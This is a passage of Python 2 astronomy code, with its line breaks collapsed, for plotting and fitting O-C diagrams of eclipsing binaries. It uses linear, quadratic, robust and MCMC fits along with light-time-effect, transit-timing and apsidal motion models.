weight=np.array(weight)[self._order] if trans_weight: w_min=min(weight) w_max=max(weight) weight=9./(w_max-w_min)*(weight-w_min)+1 if weight.shape==self.t.shape: w=[] levels=[0,3,5,7.9,10] size=[3,4,5,7] for i in range(len(levels)-1): w.append(np.where((weight>levels[i])*(weight<=levels[i+1]))) w[-1]=np.append(w[-1],np.where(weight>levels[-1])) #if some weight is bigger than max. level set_w=True else: warnings.warn('Shape of "weight" is different to shape of "time". Weight will be ignore!') if bw: color='k' else: color='b' errors=GetMax(abs(self.new_oc),no_plot) if set_w: #using weights prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: for i in range(len(w)): ax1.plot(x[prim[np.where(np.in1d(prim,w[i]))]], (self.new_oc*k)[prim[np.where(np.in1d(prim,w[i]))]],color+'o',markersize=size[i]) if not len(sec)==0: for i in range(len(w)): ax1.plot(x[sec[np.where(np.in1d(sec,w[i]))]], (self.new_oc*k)[sec[np.where(np.in1d(sec,w[i]))]],color+'o',markersize=size[i], fillstyle='none',markeredgewidth=1,markeredgecolor=color) else: #without weight if self._set_err: #using errors if self._corr_err: err=self._old_err else: err=self.err errors=np.append(errors,GetMax(err,no_plot_err)) prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: ax1.errorbar(x[prim],(self.new_oc*k)[prim],yerr=(err*k)[prim],fmt=color+'o',markersize=5) if not len(sec)==0: ax1.errorbar(x[sec],(self.new_oc*k)[sec],yerr=(err*k)[sec],fmt=color+'o',markersize=5, fillstyle='none',markeredgewidth=1,markeredgecolor=color) else: #without errors prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: ax1.plot(x[prim],(self.new_oc*k)[prim],color+'o',zorder=2) if not len(sec)==0: ax1.plot(x[sec],(self.new_oc*k)[sec],color+'o', mfc='none',markeredgewidth=1,markeredgecolor=color,zorder=2) if double_ax: #setting secound axis ax2=ax1.twiny() #generate plot to obtain correct axis in epoch l=ax2.plot(self.epoch,self.oc*k) ax2.set_xlabel('Epoch') l.pop(0).remove() lims=np.array(ax1.get_xlim()) epoch=np.round((lims-self.t0)/self.P*2)/2. ax2.set_xlim(epoch) if name is None: mpl.show() else: mpl.savefig(name+'.png') if eps: mpl.savefig(name+'.eps') mpl.close(fig) def Plot(self,name=None,no_plot=0,no_plot_err=0,eps=False,oc_min=True, time_type='JD',offset=2400000,trans=True,title=None,epoch=False, min_type=False,weight=None,trans_weight=False,bw=False,double_ax=False, fig_size=None): '''plotting original O-C with linear fit name - name of file to saving plot (if not given -> show graph) no_plot - count of outlier point which will not be plot no_plot_err - count of errorful point which will not be plot eps - save also as eps file oc_min - O-C in minutes (if False - days) time_type - type of JD in which is time (show in x label) offset - offset of time trans - transform time according to offset title - name of graph epoch - x axis in epoch min_type - distinction of type of minimum weight - weight of data (shown as size of points) trans_weight - transform weights to range (1,10) bw - Black&White plot double_ax - two axes -> time and epoch fig_size - custom figure size - e.g. (12,6) warning: weights have to be in same order as input data! ''' if fig_size: fig=mpl.figure(figsize=fig_size) else: fig=mpl.figure() ax1=fig.add_subplot(111) #setting labels if epoch and not double_ax: ax1.set_xlabel('Epoch') x=self.epoch elif offset>0: ax1.set_xlabel('Time ('+time_type+' - '+str(offset)+')') if not trans: offset=0 x=self.t-offset else: ax1.set_xlabel('Time ('+time_type+')') offset=0 x=self.t if oc_min: ax1.set_ylabel('O - C (min)') k=minutes else: ax1.set_ylabel('O - C (d)') k=1 if title is not None: if double_ax: fig.subplots_adjust(top=0.85) fig.suptitle(title,fontsize=20) if not len(self.model)==len(self.t): no_plot=0 #primary / secondary minimum if min_type: prim=np.where(np.round(self.epoch)==self.epoch) sec=np.where(np.round(self.epoch)<>self.epoch) else: prim=np.arange(0,len(self.epoch),1) sec=np.array([]) #set weight set_w=False if weight is not None: weight=np.array(weight)[self._order] if trans_weight: w_min=min(weight) w_max=max(weight) weight=9./(w_max-w_min)*(weight-w_min)+1 if weight.shape==self.t.shape: w=[] levels=[0,3,5,7.9,10] size=[3,4,5,7] for i in range(len(levels)-1): w.append(np.where((weight>levels[i])*(weight<=levels[i+1]))) w[-1]=np.append(w[-1],np.where(weight>levels[-1])) #if some weight is bigger than max. level set_w=True else: warnings.warn('Shape of "weight" is different to shape of "time". Weight will be ignore!') if bw: color='k' else: color='b' if len(self.new_oc)==len(self.oc): errors=GetMax(abs(self.new_oc),no_plot) #remove outlier points else: errors=np.array([]) if set_w: #using weights prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: for i in range(len(w)): ax1.plot(x[prim[np.where(np.in1d(prim,w[i]))]], (self.oc*k)[prim[np.where(np.in1d(prim,w[i]))]],color+'o',markersize=size[i],zorder=1) if not len(sec)==0: for i in range(len(w)): ax1.plot(x[sec[np.where(np.in1d(sec,w[i]))]], (self.oc*k)[sec[np.where(np.in1d(sec,w[i]))]],color+'o',markersize=size[i], fillstyle='none',markeredgewidth=1,markeredgecolor=color,zorder=1) else: #without weight if self._set_err: #using errors if self._corr_err: err=self._old_err else: err=self.err errors=np.append(errors,GetMax(err,no_plot_err)) #remove errorful points prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: ax1.errorbar(x[prim],(self.oc*k)[prim],yerr=(err*k)[prim],fmt=color+'o',markersize=5,zorder=1) if not len(sec)==0: ax1.errorbar(x[sec],(self.oc*k)[sec],yerr=(err*k)[sec],fmt=color+'o',markersize=5, fillstyle='none',markeredgewidth=1,markeredgecolor=color,zorder=1) else: #without errors prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: ax1.plot(x[prim],(self.oc*k)[prim],color+'o',zorder=1) if not len(sec)==0: ax1.plot(x[sec],(self.oc*k)[sec],color+'o', mfc='none',markeredgewidth=1,markeredgecolor=color,zorder=1) #plot linear model if bw: color='k' lw=2 else: color='r' lw=1 if len(self.model)==len(self.t): #model was calculated if len(self.t)<1000: dE=(self.epoch[-1]-self.epoch[0])/1000. E=np.linspace(self.epoch[0]-50*dE,self.epoch[-1]+50*dE,1100) else: dE=(self.epoch[-1]-self.epoch[0])/len(self.epoch) E=np.linspace(self.epoch[0]-0.05*len(self.epoch)*dE,self.epoch[-1]+0.05*len(self.epoch)*dE,int(1.1*len(self.epoch))) tC=self._t0P[0]+self._t0P[1]*E p=[] if 'Q' in self.params: #Quad Model p.append(self.params['Q']) p+=[self.params['P']-self._t0P[1],self.params['t0']-self._t0P[0]] new=np.polyval(p,E) if epoch and not double_ax: ax1.plot(E,new*k,color,linewidth=lw) else: ax1.plot(tC+new-offset,new*k,color,linewidth=lw) if double_ax: #setting secound axis ax2=ax1.twiny() #generate plot to obtain correct axis in epoch if len(self.model)==len(self.t): l=ax2.plot(E,new*k,zorder=2) else: l=ax2.plot(self.epoch,self.oc*k,zorder=2) ax2.set_xlabel('Epoch') l.pop(0).remove() lims=np.array(ax1.get_xlim()) epoch=np.round((lims-self.t0)/self.P*2)/2. ax2.set_xlim(epoch) if name is None: mpl.show() else: mpl.savefig(name+'.png') if eps: mpl.savefig(name+'.eps') mpl.close(fig) class FitLinear(SimpleFit): '''fitting of O-C diagram with linear function''' def FitRobust(self,n_iter=10): '''robust regresion return: new O-C''' self.FitLinear() for i in range(n_iter): self.FitLinear(robust=True) self._robust=True self._mcmc=False return self.new_oc def FitLinear(self,robust=False): '''simple linear regresion return: new O-C''' if robust: err=self.err*np.exp(((self.oc-self.model)/(5*self.err))**4) k=1 while np.inf in err: k*=10 err=self.err*np.exp(((self.oc-self.model)/(5*k*self.err))**4) else: err=self.err w=1./err p,cov=np.polyfit(self.epoch,self.oc,1,cov=True,w=w) self.P=p[0]+self._t0P[1] self.t0=p[1]+self._t0P[0] self.params['P']=p[0]+self._t0P[1] self.params['t0']=p[1]+self._t0P[0] self.Epoch() self.model=np.polyval(p,self.epoch) self.chi=sum(((self.oc-self.model)/self.err)**2) if robust: n=len(self.t)*1.06*sum(1./err)/sum(1./self.err) chi_m=1.23*sum(((self.oc-self.model)/err)**2)/(n-2) else: chi_m=self.chi/(len(self.t)-2) err=np.sqrt(chi_m*cov.diagonal()) self.params_err['P']=err[0] self.params_err['t0']=err[1] self.tC=self.t0+self.P*self.epoch self.new_oc=self.oc-self.model self._robust=False self._mcmc=False return self.new_oc def FitMCMC(self,n_iter,limits,steps,fit_params=None,burn=0,binn=1,visible=True,db=None): '''fitting with Markov chain Monte Carlo n_iter - number of MC iteration - should be at least 1e5 limits - limits of parameters for fitting steps - steps (width of normal distibution) of parameters for fitting fit_params - list of fitted parameters burn - number of removed steps before equilibrium - should be approx. 0.1-1% of n_iter binn - binning size - should be around 10 visible - display status of fitting db - name of database to save MCMC fitting details (could be analysed later using InfoMCMC function) ''' #setting pymc sampling for fitted parameters if fit_params is None: fit_params=['P','t0'] vals0={'P': self._t0P[1], 't0': self._t0P[0]} vals={} pars={} for p in ['P','t0']: if p in self.params: vals[p]=self.params[p] else: vals[p]=vals0[p] if p in fit_params: pars[p]=pymc.Uniform(p,lower=limits[p][0],upper=limits[p][1],value=vals[p]) def model_fun(**arg): '''model function for pymc''' if 'P' in arg: P=arg['P'] else: P=vals['P'] if 't0' in arg: t0=arg['t0'] else: t0=vals['t0'] return t0+P*self.epoch #definition of pymc model model=pymc.Deterministic( eval=model_fun, doc='model', name='Model', parents=pars, trace=True, plot=False) #final distribution if self._set_err or self._calc_err: #if known errors of data -> normal/Gaussian distribution y=pymc.Normal('y',mu=model,tau=1./self.err**2,value=self.t,observed=True) else: #if unknown errors of data -> Poisson distribution #note: should cause wrong performance of fitting, rather use function CalcErr for obtained errors y=pymc.Poisson('y',mu=model,value=self.t,observed=True) #adding final distribution and sampling of parameters to model Model=[y] for v in pars.itervalues(): Model.append(v) #create pymc object if db is None: R=pymc.MCMC(Model) else: #saving MCMC fitting details path=db.replace('\\','/') #change dirs in path (for Windows) if path.rfind('/')>0: path=path[:path.rfind('/')+1] #find current dir of db file if not os.path.isdir(path): os.mkdir(path) #create dir of db file, if not exist R=pymc.MCMC(Model,db='pickle',dbname=db) #setting pymc method - distribution and steps for p in pars: R.use_step_method(pymc.Metropolis,pars[p],proposal_sd=steps[p], proposal_distribution='Normal') if not visible: #hidden output f = open(os.devnull, 'w') out=sys.stdout sys.stdout=f R.sample(iter=n_iter,burn=burn,thin=binn) #MCMC fitting/simulation self.params_err={} #remove errors of parameters for p in ['P','t0']: #calculate values and errors of parameters and save them if p in pars: self.params[p]=R.stats()[p]['mean'] self.params_err[p]=R.stats()[p]['standard deviation'] else: self.params[p]=vals[p] self.params_err[p]='---' print '' R.summary() #summary of MCMC fitting if not visible: #hidden output sys.stdout=out f.close() self.Epoch() self.tC=self.params['t0']+self.params['P']*self.epoch self.new_oc=self.t-self.tC self.model=self.oc+self.new_oc self.chi=sum(((self.oc-self.model)/self.err)**2) self._robust=False self._mcmc=True return self.new_oc class FitQuad(SimpleFit): '''fitting of O-C diagram with quadratic function''' def FitRobust(self,n_iter=10): '''robust regresion return: new O-C''' self.FitQuad() for i in range(n_iter): self.FitQuad(robust=True) self._robust=True self._mcmc=False return self.new_oc def FitQuad(self,robust=False): '''simple linear regresion return: new O-C''' if robust: err=self.err*np.exp(((self.oc-self.model)/(5*self.err))**4) k=1 while np.inf in err: k*=10 err=self.err*np.exp(((self.oc-self.model)/(5*k*self.err))**4) else: err=self.err p,cov=np.polyfit(self.epoch,self.oc,2,cov=True,w=1./err) self.Q=p[0] self.P=p[1]+self._t0P[1] self.t0=p[2]+self._t0P[0] self.params['Q']=p[0] self.params['P']=p[1]+self._t0P[1] self.params['t0']=p[2]+self._t0P[0] self.Epoch() self.model=np.polyval(p,self.epoch) self.chi=sum(((self.oc-self.model)/self.err)**2) if robust: n=len(self.t)*1.06*sum(1./err)/sum(1./self.err) chi_m=1.23*sum(((self.oc-self.model)/err)**2)/(n-3) else: chi_m=self.chi/(len(self.t)-3) err=np.sqrt(chi_m*cov.diagonal()) self.params_err['Q']=err[0] self.params_err['P']=err[1] self.params_err['t0']=err[2] self.tC=self.t0+self.P*self.epoch+self.Q*self.epoch**2 self.new_oc=self.oc-self.model self._robust=False self._mcmc=False return self.new_oc def FitMCMC(self,n_iter,limits,steps,fit_params=None,burn=0,binn=1,visible=True,db=None): '''fitting with Markov chain Monte Carlo n_iter - number of MC iteration - should be at least 1e5 limits - limits of parameters for fitting steps - steps (width of normal distibution) of parameters for fitting fit_params - list of fitted parameters burn - number of removed steps before equilibrium - should be approx. 0.1-1% of n_iter binn - binning size - should be around 10 visible - display status of fitting db - name of database to save MCMC fitting details (could be analysed later using InfoMCMC function) ''' #setting pymc sampling for fitted parameters if fit_params is None: fit_params=['Q','P','t0'] vals0={'P': self._t0P[1], 't0': self._t0P[0], 'Q':0} vals={} pars={} for p in ['P','t0','Q']: if p in self.params: vals[p]=self.params[p] else: vals[p]=vals0[p] if p in fit_params: pars[p]=pymc.Uniform(p,lower=limits[p][0],upper=limits[p][1],value=vals[p]) def model_fun(**arg): '''model function for pymc''' if 'Q' in arg: Q=arg['Q'] else: Q=vals['Q'] if 'P' in arg: P=arg['P'] else: P=vals['P'] if 't0' in arg: t0=arg['t0'] else: t0=vals['t0'] return t0+P*self.epoch+Q*self.epoch**2 #definition of pymc model model=pymc.Deterministic( eval=model_fun, doc='model', name='Model', parents=pars, trace=True, plot=False) #final distribution if self._set_err or self._calc_err: #if known errors of data -> normal/Gaussian distribution y=pymc.Normal('y',mu=model,tau=1./self.err**2,value=self.t,observed=True) else: #if unknown errors of data -> Poisson distribution #note: should cause wrong performance of fitting, rather use function CalcErr for obtained errors y=pymc.Poisson('y',mu=model,value=self.t,observed=True) #adding final distribution and sampling of parameters to model Model=[y] for v in pars.itervalues(): Model.append(v) #create pymc object if db is None: R=pymc.MCMC(Model) else: #saving MCMC fitting details path=db.replace('\\','/') #change dirs in path (for Windows) if path.rfind('/')>0: path=path[:path.rfind('/')+1] #find current dir of db file if not os.path.isdir(path): os.mkdir(path) #create dir of db file, if not exist R=pymc.MCMC(Model,db='pickle',dbname=db) #setting pymc method - distribution and steps for p in pars: R.use_step_method(pymc.Metropolis,pars[p],proposal_sd=steps[p], proposal_distribution='Normal') if not visible: #hidden output f = open(os.devnull, 'w') out=sys.stdout sys.stdout=f R.sample(iter=n_iter,burn=burn,thin=binn) #MCMC fitting/simulation self.params_err={} #remove errors of parameters for p in ['Q','P','t0']: #calculate values and errors of parameters and save them if p in pars: self.params[p]=R.stats()[p]['mean'] self.params_err[p]=R.stats()[p]['standard deviation'] else: self.params[p]=vals[p] self.params_err[p]='---' print '' R.summary() #summary of MCMC fitting if not visible: #hidden output sys.stdout=out f.close() self.Epoch() self.tC=self.t0+self.P*self.epoch+self.Q*self.epoch**2 self.new_oc=self.t-self.tC self.model=self.oc+self.new_oc self.chi=sum(((self.oc-self.model)/self.err)**2) self._robust=False self._mcmc=True return self.new_oc class ComplexFit(): '''class with common function for OCFit and RVFit''' def KeplerEQ(self,M,e,eps=1e-10): '''solving Kepler Equation using Newton-Raphson method with starting formula S9 given by Odell&Gooding (1986) M - Mean anomaly (np.array, float or list) [rad] e - eccentricity (eps - accurancy) output in rad in same format as M ''' #if input is not np.array len1=False if isinstance(M,int) or isinstance(M,float): #M is float if M==0.: return 0. M=np.array(M) len1=True lst=False if isinstance(M,list): #M is list lst=True M=np.array(M) E0=M+e*np.sin(M)/np.sqrt(1-2*e*np.cos(M)+e**2) #starting formula S9 E=E0-(E0-e*np.sin(E0)-M)/(1-e*np.cos(E0)) while (abs(E-E0)>eps).any(): E0=E E=E-(E-e*np.sin(E)-M)/(1-e*np.cos(E)) while (E<0).any(): E[np.where(E<0)]+=2*np.pi while (E>2*np.pi).any(): E[np.where(E>2*np.pi)]-=2*np.pi if len1: return E[0] #output is float if lst: return list(E) #output is list return E def KeplerEQMarkley(self,M,e): '''solving Kepler Equation - Markley (1995): Kepler Equation Solver M - Mean anomaly (np.array, float or list) [rad] e - eccentricity output in rad in same format as M ''' #if input is not np.array len1=False if isinstance(M,int) or isinstance(M,float): #M is float if M==0.: return 0. M=np.array(M) len1=True lst=False if isinstance(M,list): #M is list lst=True M=np.array(M) pi2=np.pi**2 pi=np.pi #if somewhere is M=0 or M=pi M=M-(np.floor(M/(2*pi))*2*pi) flip=np.where(M>pi) M[flip]=2*pi-M[flip] M_0=np.where(np.round_(M,14)==0) M_pi=np.where(np.round_(M,14)==np.round_(pi,14)) alpha=(3.*pi2+1.6*pi*(pi-abs(M))/(1.+e))/(pi2-6.) d=3*(1-e)+alpha*e r=3*alpha*d*(d-1+e)*M+M**3 q=2*alpha*d*(1-e)-M**2 w=(abs(r)+np.sqrt(q**3+r**2))**(2./3.) E1=(2*r*w/(w**2+w*q+q**2)+M)/d s=e*np.sin(E1) f0=E1-s-M f1=1-e*np.cos(E1) f2=s f3=1-f1 f4=-f2 d3=-f0/(f1-0.5*f0*f2/f1) d4=-f0/(f1+0.5*d3*f2+(d3**2)*f3/6.) d5=-f0/(f1+0.5*d4*f2+d4**2*f3/6.+d4**3*f4/24.) E=E1+d5 E[flip]=2*pi-E[flip] E[M_0]=0. E[M_pi]=pi if len1: return E[0] #output is float if lst: return list(E) #output is list return E def Epoch(self,t0,P,t=None): '''convert time to epoch''' if t is None: t=self.t epoch=np.round((t-t0)/P*2)/2. self.epoch=epoch self._t0P=[t0,P] self._min_type=np.abs((2*(epoch-epoch.astype('int'))).astype('int')) return epoch def InfoGA(self,db,eps=False): '''statistics about GA fitting''' info=InfoGAClass(db) path=db.replace('\\','/') if path.rfind('/')>0: path=path[:path.rfind('/')+1] else: path='' info.Info(path+'ga-info.txt') info.PlotChi2() mpl.savefig(path+'ga-chi2.png') if eps: mpl.savefig(path+'ga-chi2.eps') for p in info.availableTrace: info.Plot(p) mpl.savefig(path+'ga-'+p+'.png') if eps: mpl.savefig(path+'ga-'+p+'.eps') mpl.close('all') def InfoMCMC(self,db,eps=False,geweke=False): '''statistics about GA fitting''' info=InfoMCClass(db) info.AllParams(eps) for p in info.pars: info.OneParam(p,eps) if geweke: info.Geweke(eps) def LiTE(self,t,a_sin_i3,e3,w3,t03,P3): '''model of O-C by Light-Time effect given by Irwin (1952) t - times of minima (np.array or float) [days] a_sin_i3 - semimayor axis original binary around center of mass of triple system [AU] e3 - eccentricity of 3rd body w3 - longitude of pericenter of 3rd body [rad] P3 - period of 3rd body [days] t03 - time of pericenter passage of 3rd body [days] output in days ''' M=2*np.pi/P3*(t-t03) #mean anomally if e3<0.9: E=self.KeplerEQ(M,e3) #eccentric anomally else: E=self.KeplerEQMarkley(M,e3) nu=2*np.arctan(np.sqrt((1+e3)/(1-e3))*np.tan(E/2)) #true anomally dt=a_sin_i3*AU/c*((1-e3**2)/(1+e3*np.cos(nu))*np.sin(nu+w3)+e3*np.sin(w3)) return dt/day class OCFit(ComplexFit): '''class for fitting O-C diagrams''' def __init__(self,t,oc,err=None): '''loading times, O-Cs, (errors)''' self.t=np.array(t) self.oc=np.array(oc) if err is None: #errors not given self.err=np.ones(self.t.shape) self._set_err=False else: #errors given self.err=np.array(err) self._set_err=True #sorting data... self._order=np.argsort(self.t) self.t=self.t[self._order] #times self.oc=self.oc[self._order] #O-Cs self.err=self.err[self._order] #errors self.limits={} #limits of parameters for fitting self.steps={} #steps (width of normal distibution) of parameters for fitting self.params={} #values of parameters, fixed values have to be set here self.params_err={} #errors of fitted parameters self.paramsMore={} #values of parameters calculated from model params self.paramsMore_err={} #errors of calculated parameters self.fit_params=[] #list of fitted parameters self._calc_err=False #errors were calculated self._corr_err=False #errors were corrected self._old_err=[] #given errors self.model='LiTE3' #used model of O-C self._t0P=[] #linear ephemeris of binary self.epoch=[] #epoch of binary self.res=[] #residua = new O-C self._min_type=[] #type of minima (primary=0 / secondary=1) self.availableModels=['LiTE3','LiTE34','LiTE3Quad','LiTE34Quad',\ 'AgolInPlanet','AgolInPlanetLin','AgolExPlanet',\ 'AgolExPlanetLin','Apsidal'] #list of available models def AvailableModels(self): '''print available models for fitting O-Cs''' print 'Available Models:' for s in self.availableModels: print s def ModelParams(self,model=None,allModels=False): '''display parameters of model''' def Display(model): s=model+': ' if 'Quad' in model: s+='t0, P, Q, ' if 'Lin' in model: s+='t0, ' if 'LiTE' in model: s+='a_sin_i3, e3, w3, t03, P3, ' if '4' in model: s+='a_sin_i4, e4, w4, t04, P4, ' if 'InPlanet' in model: s+='P, a, w, e, mu3, r3, w3, t03, P3, ' if 'ExPlanet' in model: s+='P, mu3, e3, t03, P3, ' if 'Apsidal' in model: s+='t0, P, w0, dw, e, ' print s[:-2] if model is None: model=self.model if allModels: for m in self.availableModels: Display(m) else: Display(model) def Save(self,path): '''saving data, model, parameters... to file''' data={} data['t']=self.t data['oc']=self.oc data['err']=self.err data['order']=self._order data['set_err']=self._set_err data['calc_err']=self._calc_err data['corr_err']=self._corr_err data['old_err']=self._old_err data['limits']=self.limits data['steps']=self.steps data['params']=self.params data['params_err']=self.params_err data['paramsMore']=self.paramsMore data['paramsMore_err']=self.paramsMore_err data['fit_params']=self.fit_params data['model']=self.model data['t0P']=self._t0P data['epoch']=self.epoch data['min_type']=self._min_type path=path.replace('\\','/') #change dirs in path (for Windows) if path.rfind('.')<=path.rfind('/'): path+='.ocf' #without extesion f=open(path,'wb') pickle.dump(data,f,protocol=2) f.close() def Load(self,path): '''loading data, model, parameters... from file''' path=path.replace('\\','/') #change dirs in path (for Windows) if path.rfind('.')<=path.rfind('/'): path+='.ocf' #without extesion f=open(path,'rb') data=pickle.load(f) f.close() self.t=data['t'] self.oc=data['oc'] self.err=data['err'] self._order=data['order'] self._set_err=data['set_err'] self._corr_err=data['corr_err'] self._calc_err=data['calc_err'] self._old_err=data['old_err'] self.limits=data['limits'] self.steps=data['steps'] self.params=data['params'] self.params_err=data['params_err'] self.paramsMore=data['paramsMore'] self.paramsMore_err=data['paramsMore_err'] self.fit_params=data['fit_params'] self.model=data['model'] self._t0P=data['t0P'] self.epoch=data['epoch'] self._min_type=data['min_type'] def AgolInPlanet(self,t,P,a,w,e,mu3,r3,w3,t03,P3): '''model TTV - inner planet (Agol et al., 2005 - sec. 3) t - times of minima = transits (np.array alebo float) [days] P - period of transiting exoplanet [days] a - semimayor axis of transiting exoplanet [AU] w - longitude of periastrum of transiting exoplanet [rad] e - eccentricity of transiting exoplanet mu3 - reduced mass of 3rd body; mu3 = M3/(M12+M3) r3 - radius of orbit of 3rd body [AU] w3 -longitude of periastrum of 3rd. body [rad] t03 - time of pericenter passage of 3rd body [days] P3 - period of 3rd body [days] output in days ''' nu=2*np.pi/P3*(t-t03) dt=-P*mu3*r3*np.cos(nu+w3)*np.sqrt(1-e**2)/(2*np.pi*a*(1-e*np.sin(w))) return dt def AgolInPlanetLin(self,t,t0,P,a,w,e,mu3,r3,w3,t03,P3): '''model TTV - inner planet (Agol et al., 2005 - sec. 3) with linear model t - times of minima = transits (np.array alebo float) [days] t0 - time of refernce transit [days] P - period of transiting exoplanet [days] a - semimayor axis of transiting exoplanet [AU] w - longitude of periastrum of transiting exoplanet [rad] e - eccentricity of transiting exoplanet mu3 - reduced mass of 3rd body; mu3 = M3/(M12+M3) r3 - radius of orbit of 3rd body [AU] w3 -longitude of periastrum of 3rd body [rad] t03 - time of pericenter passage of 3rd body [days] P3 - period of 3rd body [days] output in days ''' if not len(self.epoch)==len(t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') dt=t0+P*self.epoch-(self._t0P[0]+self._t0P[1]*self.epoch) #linear model dt3=self.AgolInPlanet(t,P,a,w,e,mu3,r3,w3,t03,P3) #AgolInPlanet model return dt+dt3 def AgolExPlanet(self,t,P,mu3,e3,t03,P3): '''model TTV - exterior planet (Agol et al., 2005 - sec. 4) t - times of minima = transits (np.array alebo float) [days] P - period of transiting exoplanet [days] mu3 - reduced mass of 3rd body; mu3 = M3/(M12+M3) e3 - eccentricity of 3rd exoplanet t03 - time of pericenter passage of 3rd body [days] P3 - period of 3rd body [days] output in days ''' M=2*np.pi/P3*(t-t03) while (M>2*np.pi).any(): M[np.where(M>2*np.pi)]-=2*np.pi while (M<0).any(): M[np.where(M<0)]+=2*np.pi if e3<0.9: E=self.KeplerEQ(M,e3) else: E=self.KeplerEQMarkley(M,e3) nu=2*np.arctan(np.sqrt((1+e3)/(1-e3))*np.tan(E/2)) while (nu>2*np.pi).any(): nu[np.where(nu>2*np.pi)]-=2*np.pi while (nu<0).any(): nu[np.where(nu<0)]+=2*np.pi dt=mu3/(2*np.pi*(1-mu3))*P**2/P3*(1-e3**2)**(-3./2.)*(nu-M+e3*np.sin(nu)) return dt def AgolExPlanetLin(self,t,t0,P,mu3,e3,t03,P3): '''model TTV - exterior planet (Agol et al., 2005 - sec. 4) with linear model t - times of minima = transits (np.array alebo float) [days] t0 - time of refernce transit [days] P - period of transiting exoplanet [days] mu3 - reduced mass of 3rd body; mu3 = M3/(M12+M3) e3 - eccentricity of 3rd exoplanet t03 - time of pericenter passage of 3rd body [days] P3 - period of 3rd body [days] output in days ''' if not len(self.epoch)==len(t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') dt=t0+P*self.epoch dt3=self.AgolExPlanet(t,P,mu3,e3,t03,P3) return dt+dt3-(self._t0P[0]+self._t0P[1]*self.epoch) def LiTE3(self,t,a_sin_i3,e3,w3,t03,P3): '''model of O-C by Light-Time effect caused by 3rd body given by Irwin (1952) t - times of minima (np.array or float) [days] a_sin_i3 - semimayor axis of eclipsing binary around center of mass of triple system [AU] e3 - eccentricity of 3rd body w3 - longitude of pericenter of 3rd body [rad] P3 - period of 3rd body [days] t03 - time of pericenter passage of 3rd body [days] output in days ''' dt3=self.LiTE(t,a_sin_i3,e3,w3,t03,P3) return dt3 def LiTE34(self,t,a_sin_i3,e3,w3,t03,P3,a_sin_i4,e4,w4,t04,P4): '''model of O-C by Light-Time effect caused by 3rd and 4th body given by Irwin (1952) t - times of minima (np.array or float) [days] a_sin_i3, a_sin_i4 - semimayor axis of eclipsing binary around center of mass of multiple system [AU] e3, e4 - eccentricity of 3rd/4th body w3, w4 - longitude of pericenter of 3rd/4th body [rad] P3, P4 - period of 3rd/4th body [days] t03, t04 - time of pericenter passage of 3rd/4th body [days] output in days ''' dt3=self.LiTE(t,a_sin_i3,e3,w3,t03,P3) dt4=self.LiTE(t,a_sin_i4,e4,w4,t04,P4) return dt3+dt4 def LiTE3Quad(self,t,t0,P,Q,a_sin_i3,e3,w3,t03,P3): '''model of O-C by Light-Time effect caused by 3rd body given by Irwin (1952) \ with quadratic model of O-C t - times of minima (np.array or float) [days] t0 - time of refernce minima [days] P - period of eclipsing binary [days] Q - quadratic term [days] a_sin_i3 - semimayor axis of eclipsing binary around center of mass of triple system [AU] e3 - eccentricity of 3rd body w3 - longitude of pericenter of 3rd body [rad] P3 - period of 3rd body [days] t03 - time of pericenter passage of 3rd body [days] output in days ''' if not len(self.epoch)==len(t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') dt=t0+P*self.epoch+Q*self.epoch**2 dt3=self.LiTE(t,a_sin_i3,e3,w3,t03,P3) return dt+dt3-(self._t0P[0]+self._t0P[1]*self.epoch) def LiTE34Quad(self,t,t0,P,Q,a_sin_i3,e3,w3,t03,P3,a_sin_i4,e4,w4,t04,P4): '''model of O-C by Light-Time effect caused by 3rd and 4th body given by Irwin (1952)\ with quadratic model of O-C t - times of minima (np.array or float) [days] t0 - time of refernce minima [days] P - period of eclipsing binary [days] Q - quadratic term [days] a_sin_i3, a_sin_i4 - semimayor axis of eclipsing binary around center of mass of multiple system [AU] e3, e4 - eccentricity of 3rd/4th body w3, w4 - longitude of pericenter of 3rd/4th body [rad] P3, P4 - period of 3rd/4th body [days] t03, t04 - time of pericenter passage of 3rd/4th body [days] output in days ''' if not len(self.epoch)==len(t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') dt=t0+P*self.epoch+Q*self.epoch**2 dt3=self.LiTE(t,a_sin_i3,e3,w3,t03,P3) dt4=self.LiTE(t,a_sin_i4,e4,w4,t04,P4) return dt+dt3+dt4-(self._t0P[0]+self._t0P[1]*self.epoch) def Apsidal(self,t,t0,P,w0,dw,e,min_type): '''Apsidal motion on O-C diagram (Gimenez&Bastero,1995) t0 - time of refernce minima [days] P - period of eclipsing binary [days] w0 - initial position of pericenter [rad] dw - angular velocity of line of apsides [rad/period] e - eccentricity min_type - type of minimas [0 or 1] output in days ''' if not len(self.epoch)==len(t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') w=w0+dw*self.epoch #position of pericenter nu=-w+np.pi/2 #true anomaly b=e/(1+np.sqrt(1-e**2)) sum1=0 sum2=0 tmp=0 for n in range(1,10): tmp=(-b)**n*(1/n+np.sqrt(1-e**2))*np.sin(n*nu) #primary sum1+=tmp #secondary if n%2: sum2-=tmp else: sum2+=tmp oc1=P/np.pi*sum1 oc2=P/np.pi*sum2 dt=np.zeros(t.shape) dt[np.where(min_type==0)[0]]=oc1[np.where(min_type==0)[0]] #primary dt[np.where(min_type==1)[0]]=oc2[np.where(min_type==1)[0]] #secondary return dt+(t0+P*self.epoch)-(self._t0P[0]+self._t0P[1]*self.epoch) def PhaseCurve(self,P,t0,plot=False): '''create phase curve''' f=np.mod(self.t-t0,P)/float(P) #phase order=np.argsort(f) f=f[order] oc=self.oc[order] if plot: mpl.figure() if self._set_err: mpl.errorbar(f,oc,yerr=self.err,fmt='o') else: 